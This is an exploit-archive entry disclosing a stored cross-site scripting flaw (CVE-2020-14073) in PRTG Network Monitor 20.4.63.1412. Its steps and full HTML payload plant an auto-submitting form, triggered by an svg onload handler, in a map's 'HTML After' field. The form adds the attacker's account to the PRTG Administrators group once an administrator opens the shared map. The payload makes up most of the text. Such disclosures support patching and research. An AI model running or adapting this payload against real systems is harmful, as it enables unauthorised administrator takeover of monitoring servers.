PRTG Network Monitor 20.4.63.1412 Cross Site Scripting

PRTG Network Monitor version 20.4.63.1412 suffers from a persistent cross site scripting vulnerability.


MD5 | 930892d1f0a66210a1b7e4aad203b256

# Exploit Title: PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS
# Date: 2/12/2020
# Exploit Author: Amin Rawah
# Vendor Homepage: https://www.paessler.com/prtg
# Software Link: https://www.paessler.com/prtg
# Version: 20.4.63.1412 x64
# Tested on: Windows
# CVE : CVE-2020-14073

Description:
Since there is a stored XSS affecting 'maps' in the system, a malicious user can escalte his/her privilege to PRTG Administrator.

Steps:
1- Login to PRTG system and view source code (currentUserId)
2- Create a map, add an element, double click the element and modify the HTML section 'HTML After'
3- In 'HTML After' add the following code:
<form action="http://<PRTG_SERVER>:8081/editsettings" method="POST" enctype="multipart/form-data">
<input type="hidden" name="name_" value="PRTG Administrators" />
<input type="hidden" name="defaulthome_" value="/welcome.htm" />
<input type="hidden" name="isadgroup" value="0" />
<input type="hidden" name="adusertype_" value="0" />
<input type="hidden" name="aduserack_" value="0" />
<input type="hidden" name="users_" value="1" />
<input type="hidden" name="users_" value="1" />
<input type="hidden" name="users__check" value="<currentUserId>|<YOUR_USERNAME>|" />
<input type="hidden" name="users__check" value="100|PRTG System Administrator|" />
<input type="hidden" name="id" value="200" />
<input type="hidden" name="targeturl" value="/systemsetup.htm?tabid=6" />
<input type="submit" value="Submit request" />
</form>
<svg/onload='document.forms[0].submit()'/>
4- Save and share the link with PRTG Administrator.
5- Login with the highest privilege.

Related Posts